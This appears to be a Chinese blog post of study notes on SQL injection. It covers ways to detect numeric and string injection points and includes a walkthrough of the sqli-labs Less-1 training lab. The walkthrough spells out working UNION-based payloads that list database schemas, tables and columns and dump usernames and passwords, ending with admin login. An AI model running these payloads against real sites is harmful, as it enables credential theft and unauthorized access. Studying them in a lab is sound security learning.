本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
判断SQL注入类型
一.数字型(整型)注入
输入的参数为整数,如ID、年龄、页码等
我们假设一个网址的URL为
http://www.testweb.com/user.php?id=8
实际查询代码原型诸如:select…from…where id=$id…
数字型注入测试:
1.http://www.testweb.com/user.php?id=8’
(语句报错,说明未对单引号过滤)
2.http://www.testweb.com/user.php?id=8 and 1=1
运行正常(返回数据与原始请求无任何差异)
3.http://www.testweb.com/user.php?id=8 and 1=2
运行异常(不会报错)
以上三个步骤全部满足则证明可能为数字型注入
二.字符型注入
当输入的参数为字符串时,称作字符型,字符型注入最关键的是如何闭合SQL语句以及注释多余的代码
我们假设一个网址的URL为
http://www.testweb.com/user.php?username=‘admin’
字符型注入测试:
1.http://www.testweb.com/user.php?username=admin’
此时SQL语句变为:
select * from table where name=‘admin’’
(由于加了单引号后变成三个单引号,所以语句报错)
2.http://www.testweb.com/user.php?username=admin’ and ‘1’='1
此时SQL语句变为:
select * from table where name=‘admin’ and ‘1’=‘1’
(页面运行正常)
3.http://www.testweb.com/user.php?username=admin’ and ‘1’ ='2
此时SQL语句变为:
select * from table where name=‘admin’ and ‘1’ =‘2’
(语法正确,但是逻辑错误,返回正确)
以上三个步骤全部满足则证明可能为字符型注入
SQL注入
我们首先要了解一下什么是SQL注入,所谓SQL注入就是就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。-百度百科
SQL注入按照注入点一般分为三大类:数字型(整型)注入、字符型注入、搜索型注入
按照注入技术(执行效果)分为:基于布尔的盲注、基于时间的盲注、基于报错的注入、联合查询注入、堆查询注入
SQL手工注入过程
1.首先判断是否存在注入点
2.判断字段长度(order by)
3.判断字段的回显位置(就是到底是哪几个字段位置是有实际信息,其他都是空信息)
4.判断数据库信息(database()、version())
5.查找数据库名
常用函数:(一般用group_concat()函数,将字段的值打印在一行,逗号分隔)
常用语句:(select schema_name from information_schema.schemata)
6.查找数据库表 ()
常用函数同上
常用语句:(select table_name from information_schema.tables where table_schema=‘想要指定的数据库’)
7.查找数据库表中所有字段以及字段值
常用语句同上
常用函数: (select column_name from information_schema.columns where table_name=‘想要看的表名’)
(select uesrname,password from security.users)
8.猜解账号密码
常用函数:concat_ws(以xx分隔符分割(例如逗号、冒号、顿号),想要查看的内容)
用于连接字符串
9.登录管理员后台
通过SQL注入就可以获得user与password这样就可以登录后台的管理员系统啦!
sqli-labs
因为是第一次学,所以难免有讲的不好地方希望大家多多指正。
Less-1
GET - Error based - Single quotes - String
基于报错的GET单引号字符型注入
首先我们先根据提示输入id=1,网页显示正常
我们在后面加一个单引号,发现页面报错,说明网页未对单引号进行过滤,所以可能存在SQL注入
我们在后面输入’and ‘1’='1,发现界面仍然正常
我们在后面输入’and ‘1’='2,发现没报错,但是页面显示不正常(因为语法没有错误,但是逻辑判断不对,所以页面显示不正常),这就说明可能存在字符型注入。
字符型注入关键就是要闭合单引号,以及注释掉多余的语句,接下来我们就先判断字段长度也就是有几列
我们一个一个试它的字段长度(一般不会太长),此时为1显示正常
然后知道试到4的时候发现页面报错了,代表这个数据库只有三个字段也就是三列
接下来我们判断字段的回显位置(用一个数据库没有的ID(一般是负数和比较大的整数)以及union联合查询),发现回显位置只有2和3。
知道回显位置了以后我们就可以查询关于数据库的一切了,比如数据库信息及版本信息(database()、version())
接下来我们爆破数据库名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
然后我们爆破数据security里面的数据表名(因为一般用户名及密码都是放在这个里面的)
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
然后最后就是爆破数据表user(用户名密码一般在这里)里的字段(列)了,发现了用户名和密码
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
最后就是直接爆破出用户名对应的密码
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
或者用concat_ws函数()
?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users--+
这个只是部分截图(屏幕有限,不过和上面爆破出来的用户名密码一样)
从Less-1我们学到了:
查库:
select schema_name from information_schema.schemata;
查表:
select table_name from information_schema.tables where table_schema=‘security’;
查列:
select column_name from information_schema.columns where table_name=‘users’;
查字段:
select group concat(username) from users;
select group concat(password) from users;
select concat_ws(’:’,username,password) from users;
还学到了题目中的限制条件也是我们需要注释掉的
SELECT * FROM users WHERE id=‘1’ LIMIT 0,1
LIMIT N,M N:从第N+1个开始,例如N=1,那么相当于从第一个开始。
M:显示几行,例如总共有5行,此时M=1,那么只能显示一行。
--------------------------分割线7/1-------------------------------
完成Less-1的所有语句如下
ID:1’ order by 3 –
ID:1’ order by 4 –
ID:-1’ union select 1,2,3 –
ID:-1’ union select 1,2,database() –
ID:-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ ) –
ID:-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ ) –
ID:-1’ union select 1,username,password from users limit 0,1–
ID:-1’ union select 1,username,password from users limit 1,1–
ID:-1’ union select 1,username,password from users limit 2,1–
ID:-1’ union select 1,username,password from users limit 3,1–
ID:-1’ union select 1,username,password from users limit 4,1–
ID:-1’ union select 1,username,password from users limit 5,1–
以上语句的末尾都是两个减号,为SQL语句的注释
--------------------------分割线7/1-------------------------------
【本文为自己原创,难免有疏漏之处,如有错误,请私信指正】